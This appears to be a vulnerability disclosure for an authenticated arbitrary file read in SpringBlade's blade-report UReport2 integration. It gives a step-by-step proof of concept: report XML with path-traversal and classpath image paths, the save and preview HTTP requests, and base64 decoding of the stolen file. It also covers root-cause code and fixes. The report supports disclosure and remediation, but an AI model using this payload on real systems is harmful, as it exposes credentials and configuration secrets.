Arbitrary File Read via Image Cell Path in SpringBlade blade-report /ureport/preview Endpoint
Arbitrary File Read via Image Cell Path in SpringBlade blade-report /ureport/preview Endpoint
Affected Versions
- Product: SpringBlade
- Affected Component:
blade-reportmodule (UReport2 integration viablade-starter-reportin blade-tool) - Affected Versions: ≤ 4.10.0 (latest version as of disclosure)
- Underlying Dependency:
com.bstek.ureport:ureport2-core/ureport2-console2.2.9 (bundled insideblade-starter-report) - Affected Endpoints:
- Injection:
POST /ureport/designer/saveReportFile(persist malicious report XML to database) - Trigger:
GET /ureport/preview?_u=<report>(HTML preview reads file and embeds contents in response)
- Injection:
- Default Service:
blade-reportmicroservice, port 8108 (Cloud edition per official docs)
Impact
The blade-report module integrates UReport2 through blade-starter-report, which registers UReportServlet at /ureport/* and stores report definitions in the database via DatabaseProvider. UReport2 allows report designers to insert image cells whose source is a filesystem or classpath path.
During HTML preview, the report engine reads the attacker-controlled path through DefaultImageProvider (vendored in blade-starter-report), Base64-encodes the raw bytes, and inlines them directly into the generated HTML as a data: URI.
Because:
DatabaseProvider.saveReport()stores report XML without validating embedded<image-value>paths.DefaultImageProvider.getImage()resolves paths starting with/relative to the webapp root and supportsclasspath:and/WEB-INF/prefixes — with no allow-list or traversal check.- When
width=0andheight=0(the default),ImageUtils.getImageBase64Data()does not verify that the bytes form a valid image; it Base64-encodes any file unconditionally. - SpringBlade's
UReportAuthFilteronly verifies a valid BladeX session token — it does not restrict dangerous report operations such as saving arbitrary image paths or previewing reports.
An authenticated attacker (any user with a valid BladeX token who can reach /ureport/*) can read arbitrary files accessible to the blade-report JVM process:
| Path prefix | Example | Readable targets on SpringBlade |
|---|---|---|
/ (web-root relative + traversal) |
/../../../../etc/passwd |
OS files (/etc/passwd, C:\Windows\win.ini) |
classpath: |
classpath:application.yml |
Spring Boot config, JDBC credentials, Nacos bootstrap settings |
classpath: |
classpath:bootstrap.yml |
Cloud config secrets loaded by blade-report |
/WEB-INF/ |
/WEB-INF/web.xml |
Deployment descriptors (WAR deployments) |
Impact summary:
- Arbitrary Local File Read (CWE-22 / CWE-552): Database connection strings, Nacos/registry credentials, JWT signing keys, cloud access keys, SSH private keys, and other sensitive files on the blade-report server.
- Information Disclosure (CWE-200): File contents are returned inline in the HTML preview response (
data:image/png;base64,...), trivially decodable by the attacker. - Distinct from XXE (Issue #37): This vulnerability does not rely on XML external entities or SAXParser misconfiguration. It is triggered purely through the image-cell rendering pipeline during report preview — a separate, independently exploitable flaw in the same UReport2 integration.
Steps to Reproduce
Environment
- SpringBlade ≤ 4.10.0 with
blade-reportservice enabled - Valid BladeX authentication token (obtain via normal login)
- blade-report default port: 8108
Step 1: Save a Malicious Report via saveReportFile
Craft a report XML containing an image cell whose source="text" path points to the target file. Keep width and height at 0 (default) so ImageIO validation is skipped.
Original XML payload (before URL-encoding):
<?xml version="1.0" encoding="UTF-8"?>
<ureport>
<cell expand="None" name="A1" row="1" col="1">
<cell-style font-size="10" align="center" valign="middle"></cell-style>
<image-value source="text" width="0" height="0">
<text><![CDATA[/../../../../windows/win.ini]]></text>
</image-value>
</cell>
<row row-number="1" height="18"/>
<column col-number="1" width="400"/>
<paper type="A4" left-margin="90" right-margin="90" top-margin="72" bottom-margin="72"
paging-mode="fitpage" fixrows="0" width="595" height="842" orientation="portrait"
html-report-align="left" bg-image="" html-interval-refresh-value="0"
column-enabled="false"></paper>
</ureport>Send the request to the blade-report service with a valid Blade-Auth token header. The content parameter must be URL-encoded (matching the designer JavaScript encodeURIComponent behavior):
POST /ureport/designer/saveReportFile HTTP/1.1
Host: localhost:8108
Blade-Auth: <valid_token>
Content-Type: application/x-www-form-urlencoded
file=blade:lfi-winini.ureport.xml&content=<url_encoded_xml>Screenshot placeholder: Burp request showing authenticated
saveReportFilewithimage-valuepayload.
The report XML is persisted to the MySQL database via DatabaseProvider.saveReport() without any validation of the embedded image path:
// org.springblade.core.report.provider.DatabaseProvider
public void saveReport(String file, String content) {
// ...
reportFileEntity.setContent(content.getBytes()); // raw XML stored, image path unchecked
service.saveOrUpdate(reportFileEntity);
}Screenshot placeholder: 200 OK response / report saved in database.
![]()
Alternative injection (no database persistence): POST /ureport/designer/savePreviewData with the same XML, then use _u=p in Step 2.
SpringBlade-specific high-value paths to test after basic PoC:
<!-- blade-report application config -->
<text><![CDATA[classpath:application.yml]]></text>
<!-- Nacos / cloud bootstrap config -->
<text><![CDATA[classpath:bootstrap.yml]]></text>Step 2: Trigger File Read via HTML Preview
Request the saved report through the preview endpoint:
GET /ureport/preview?_u=blade:lfi-winini.ureport.xml HTTP/1.1
Host: localhost:8108
Blade-Auth: <valid_token>Screenshot placeholder: Preview request in Burp or browser.
During preview, HtmlPreviewServletAction.loadReport() → ReportBuilder.buildReport() → ImageValueCompute.compute() resolves the image path and reads the target file from the blade-report server filesystem.
Step 3: Extract File Contents from Response
Inspect the HTML response body. The image cell is rendered as:
<img src="data:image/png;base64,<BASE64_OF_FILE_CONTENTS>" ... />Base64-decode the src payload to recover the plaintext file contents:
echo "<BASE64_STRING>" | base64 -dScreenshot placeholder: HTML source showing
data:image/png;base64,...in preview response.
Screenshot placeholder: Decoded file contents (e.g.
win.iniorapplication.yml) confirming arbitrary file read.
This confirms successful arbitrary file read on the blade-report server via the UReport2 image rendering pipeline.
Root Cause Analysis
The vulnerability exists in the UReport2 image-loading code bundled inside SpringBlade's blade-starter-report. SpringBlade adds token-based authentication via UReportAuthFilter, but performs no input validation or sandboxing on report content or image paths.
1. SpringBlade stores malicious image paths without validation
DesignerServletAction.saveReportFile() URL-decodes the content parameter and passes it to DatabaseProvider.saveReport(), which writes the raw XML string to the database. The embedded <image-value><text> path is never inspected:
// com.bstek.ureport.console.designer.DesignerServletAction
public void saveReportFile(HttpServletRequest req, HttpServletResponse resp) {
String file = req.getParameter("file");
String content = req.getParameter("content");
content = decodeContent(content);
targetReportProvider.saveReport(file, content); // DatabaseProvider in SpringBlade
// ...
}// org.springblade.core.report.provider.DatabaseProvider
public void saveReport(String file, String content) {
reportFileEntity.setContent(content.getBytes()); // no sanitization
service.saveOrUpdate(reportFileEntity);
}2. Preview triggers unrestricted file read via DefaultImageProvider
When preview is requested, ImageValueCompute passes the stored path to ImageUtils.getImageBase64Data():
// com.bstek.ureport.build.compute.ImageValueCompute
if (source.equals(Source.text)) {
String base64Data = ImageUtils.getImageBase64Data(
ImageType.image, value.getValue(), width, height);
list.add(new BindData(new Image(base64Data, value.getValue(), -1, -1)));
}DefaultImageProvider (vendored in blade-starter-report) reads any supported path with no restriction:
// com.bstek.ureport.provider.image.DefaultImageProvider (blade-starter-report)
public InputStream getImage(String path) {
if (path.startsWith(ResourceUtils.CLASSPATH_URL_PREFIX) || path.startsWith("/WEB-INF")) {
return applicationContext.getResource(path).getInputStream();
} else {
path = baseWebPath + path; // web-root relative; supports ../ traversal
return new FileInputStream(path);
}
}3. Default dimensions bypass image format validation
When width=0 and height=0, ImageUtils.getImageBase64Data() skips ImageIO.read() and Base64-encodes any byte stream:
// com.bstek.ureport.utils.ImageUtils (blade-starter-report)
public static String getImageBase64Data(ImageType type, Object data, int width, int height) {
InputStream inputStream = targetProcessor.getImage(data);
if (width > 0 && height > 0) {
BufferedImage inputImage = ImageIO.read(inputStream); // only when width/height > 0
// ... resize ...
}
byte[] bytes = IOUtils.toByteArray(inputStream);
return Base64Utils.encodeToString(bytes); // raw file bytes returned
}4. File contents exfiltrated in HTML preview response
HtmlProducer embeds the Base64 data directly into the preview HTML returned to the attacker:
// com.bstek.ureport.export.html.HtmlProducer (simplified)
Image img = (Image) obj;
sb.append("<img src=\"data:" + imageType + ";base64," + img.getBase64Data() + "\" ... />");5. Insufficient access control in SpringBlade integration
UReportAuthFilter only checks whether the caller holds a valid BladeX token or session — it does not enforce role-based restrictions on designer/save/preview operations:
// org.springblade.core.report.filter.UReportAuthFilter
private boolean isTokenAuthenticated(HttpServletRequest request) {
Long userId = AuthUtil.getUserId(request);
return userId != null && userId > 0; // any authenticated user passes
}Attack chain summary:
Authenticated attacker
→ POST /ureport/designer/saveReportFile (inject image path in XML)
→ DatabaseProvider.saveReport() → MySQL (blade_report table)
→ GET /ureport/preview?_u=blade:...
→ ReportBuilder.buildReport()
→ ImageValueCompute → DefaultImageProvider.getImage()
→ FileInputStream / classpath Resource
→ ImageUtils.getImageBase64Data() (no image validation at 0×0)
→ HtmlProducer inlines Base64 in HTML response
→ Attacker decodes sensitive file contentsRemediation
Immediate Mitigation
Block designer and preview endpoints in production if report authoring is not required at runtime. Restrict at the Spring Cloud Gateway or reverse proxy:
/ureport/designer/* /ureport/previewRestrict UReport access by role — extend
UReportAuthFilterto require an administrator/designer role, not merely a valid token.
Code-Level Fixes (recommended for blade-starter-report)
Restrict
DefaultImageProviderto an allow-listed directory — resolve paths withPath.normalize()and verify the canonical path stays under a configured base directory; rejectclasspath:,/WEB-INF/, and any..segments.Always validate image content before encoding — call
ImageIO.read()regardless of width/height; reject streams that are not valid image formats.Sanitize report XML on save — in
DatabaseProvider.saveReport()or a wrapper, reject<image-value>paths containing..,classpath:,/WEB-INF, or paths outside the allow-list.Do not inline local file bytes in HTML preview — serve images through a dedicated endpoint using opaque cache keys instead of user-supplied paths.
Example secure path resolution
private static final Path ALLOWED_IMAGE_DIR = Paths.get("/var/ureport/images").toRealPath();
public InputStream getImage(String path) throws IOException {
Path resolved = ALLOWED_IMAGE_DIR.resolve(stripLeadingSlash(path)).normalize();
if (!resolved.startsWith(ALLOWED_IMAGE_DIR)) {
throw new ReportComputeException("Image path not allowed: " + path);
}
return Files.newInputStream(resolved);
}Relationship to Other SpringBlade UReport Issues
| Issue | Vulnerability | Trigger Endpoint |
|---|---|---|
| #36 | SSRF / JDBC file read / RCE via testConnection |
POST /ureport/datasource/testConnection |
| #37 | XXE arbitrary file read via report XML parsing | POST saveReportFile → GET loadReport |
| This report | Arbitrary file read via image cell path | POST saveReportFile → GET /ureport/preview |
These are independent vulnerabilities in the same blade-report UReport2 integration. Fixing XXE in ReportParser does not remediate this image-path file read.
References
- SpringBlade: https://github.com/chillzhuang/SpringBlade
- blade-starter-report: https://github.com/chillzhuang/blade-tool/tree/master/blade-starter-report
- UReport2 upstream: https://github.com/youseries/ureport
- SpringBlade report module docs: https://www.kancloud.cn/smallchill/blade/2018013
Credit
Discovered by: B1cx
Source: chillzhuang/SpringBlade



